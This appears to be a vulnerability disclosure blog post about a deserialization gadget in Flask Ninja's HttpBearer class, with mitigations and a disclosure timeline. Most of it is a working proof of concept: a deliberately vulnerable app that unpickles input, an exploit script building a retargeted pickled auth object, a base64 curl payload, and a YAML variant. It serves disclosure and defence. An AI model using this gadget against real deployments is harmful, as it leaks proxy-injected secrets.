Flask Ninja
is an API framework for Flask, inspired by Django Ninja and, like it, built on top of Pydantic
. Flask Ninja ships a neat HttpBearer abstract class so you can wire up token authentication in a couple of lines. HttpBearer.__call__ reads the credential from self.header, a plain instance attribute. So if an app ever deserializes untrusted data and calls the result, an attacker can hand it a pickled BearerAuth, the app’s own auth class, with that attribute retargeted at a header the client can’t see. Calling the object runs __call__ against the attacker’s chosen header, and a very common developer pattern then reflects the header’s value straight back, leaking secrets for example a reverse proxy injected headers behind the scenes.
This was reported to Kiwi.com through HackerOne on March 27, 2026 and closed as informative on April 15, without ever being triaged, on the grounds that it is a gadget rather than a standalone bug. In my opinion a framework should not leave gadgets behind as gadgets do the heavy lifting of deserialization attack, and closing the door on them is the framework’s job, not the app developer’s. After a 90-day disclosure window, the gadget still exists unpatched in Flask Ninja today.
Proof of Concept
Start with the target app. The developer sets up bearer-token authentication the ordinary Flask Ninja way: subclass HttpBearer, implement authenticate, and hand an instance to NinjaAPI, which calls it on every request to validate the token. Rejected tokens are reflected back in the 401 error, a common and seemingly harmless habit. Separately, the index endpoint carries a deserialization sink: it base64-decodes a query parameter, unpickles it, and calls the resulting object. main.py:
import base64
import pickle
from flask import Flask, abort, request
from flask_ninja import HttpBearer, NinjaAPI
app = Flask(__name__)
class BearerAuth(HttpBearer):
def authenticate(self, token):
if token == "test":
return True
abort(401, description=f"Invalid token: {token}")
api = NinjaAPI(app, auth=BearerAuth())
@api.get("/")
def index() -> dict:
user_input = request.args.get("data")
decoded_data = base64.b64decode(user_input)
deserialized = pickle.loads(decoded_data)
output = deserialized()
return {
"data": user_input,
"output": output,
}
if __name__ == "__main__":
app.run(debug=True)
The app runs behind a reverse proxy that adds an internal header to every request before it reaches Flask. nginx.conf:
events {}
http {
server {
listen 8080;
location / {
proxy_pass http://127.0.0.1:5000;
# an internal header
proxy_set_header Proxy-Token "bearer pwned";
}
}
}
Now the exploit. It pickles a plain BearerAuth, the app’s own auth class, and overwrites the two attributes its inherited HttpBearer.__call__ trusts. header is set to the internal header we want to read, and openapi_scheme to the scheme that header’s value starts with. When the sink unpickles this object and calls it, __call__ reads our chosen header instead of Authorization. exploit.py:
import base64
import pickle
from flask_ninja.security import HttpBearer
class BearerAuth(HttpBearer):
def authenticate(self, token):
if token == "test":
return True
return False
a = BearerAuth()
a.header = "Proxy-Token"
a.openapi_scheme = "bearer"
with open("bearerAuth.pickle", "wb") as f:
pickle.dump(a, f)
Generate the gadget, start the app, and start the proxy:
# generate the pickle gadget
uv run exploit.py
# start the flask-ninja server
uv run main.py
# start nginx proxy
nginx -c $(pwd)/nginx.conf -g "daemon off;"
Send the base64 of bearerAuth.pickle as data. The deserialized object is called, __call__ reads Proxy-Token instead of Authorization, and the developer’s abort() reflects the internal header straight back:
curl --request GET \
--url 'http://127.0.0.1:8080/?data=gASVVAAAAAAAAACMCF9fbWFpbl9flIwKQmVhcmVyQXV0aJSTlCmBlH2UKIwGaGVhZGVylIwLUHJveHktVG9rZW6UjA5vcGVuYXBpX3NjaGVtZZSMBmJlYXJlcpR1Yi4%3D' \
--header 'Authorization: Bearer test'
The response is a 401 whose body reflects Invalid token: pwned, the value of the internal Proxy-Token the client was never able to set:

The gadget does not depend on pickle. Because Flask Ninja apps hydrate objects from external data with Pydantic, the same attributes can be injected through config. Make BearerAuth a Pydantic model loaded from YAML (which could just as easily be a database row, as in a multi-tenant setup that builds an API per tenant). pydantic_example.py:
import yaml
from flask import Flask, abort, request
from flask.templating import render_template
from flask_ninja import NinjaAPI
from flask_ninja.security import HttpBearer
from pydantic import BaseModel
app = Flask(__name__)
class BearerAuth(BaseModel, HttpBearer):
base_url: str = "https://example.com"
def __init__(self, **kwargs) -> None:
super().__init__(**kwargs)
def authenticate(self, token):
print(request.headers)
if token == "test":
return True
abort(401, description=f"Invalid token: {token}")
# load auth config from yaml
with open("auth.yaml", "r") as f:
auth_config = yaml.safe_load(f)
auth = BearerAuth(**auth_config)
api = NinjaAPI(app, auth=auth)
@api.get("/")
def index() -> str:
return render_template("index.html")
if __name__ == "__main__":
app.run(debug=True)
If an attacker can influence that config, the same keys re-arm the gadget. auth.yaml:
base_url: https//example.com/api
header: "Proxy-Token"
openapi_scheme: "bearer"
Requesting the app through the proxy again leaks the internal header.
It’s worth separating the mistakes. Two of them are the developer’s: deserializing untrusted input and calling it, and reflecting a rejected token back to the caller. Neither is exotic, and the reflection on its own leaks nothing. Flask Ninja’s mistake is the one that connects them: HttpBearer.__call__ decides which header to trust from self.header, a public, writable attribute, even though the header name and scheme are fixed by the bearer-token protocol and have no business being per-instance state. That design choice is what lets the developer’s injection bug become a header leak, and it is the framework’s to fix.
Mitigation
For Flask Ninja maintainers
This is the real fix, and it closes the gadget for everyone at once. The header name and the scheme prefix are invariants of the bearer-token protocol, not per-instance configuration. Keep them as local constants inside __call__, out of the attribute surface, so no deserialized or config-supplied state can repoint the reader:
def __call__(self):
auth_value = request.headers.get("Authorization")
if not auth_value:
return None
scheme, _, token = auth_value.partition(" ")
if scheme.lower() != "bearer":
return None
return self.authenticate(token)
If the values must stay configurable, take them at construction and store them privately (name-mangled, not a public attribute an injected payload can set), and document that they are trusted, server-controlled configuration.
For app developers
Until the framework fixes it, the gadget is in your dependency tree, so cut off the preconditions it needs:
- Don’t reflect rejected credentials back to the caller. The
abort(401, description=f"Invalid token: {token}")pattern is the leak channel; log the failure instead of echoing the token. - Don’t deserialize untrusted input, and never call the result of one. If you must accept serialized data, use a format that does not reconstruct arbitrary objects.
- Don’t build auth objects from attacker-influenced sources, whether a pickle, a config file, or a database row that user input can reach.
Disclosure Timeline
| Date | Remarks |
|---|---|
| Mar 27th, 2026 | Reported to Kiwi.com via HackerOne. |
| Apr 15th, 2026 | Report closed as informative, without triage. |
| Jul 21st, 2026 | Publicly disclosed via this blog post, after a 90-day disclosure window. Still unpatched. |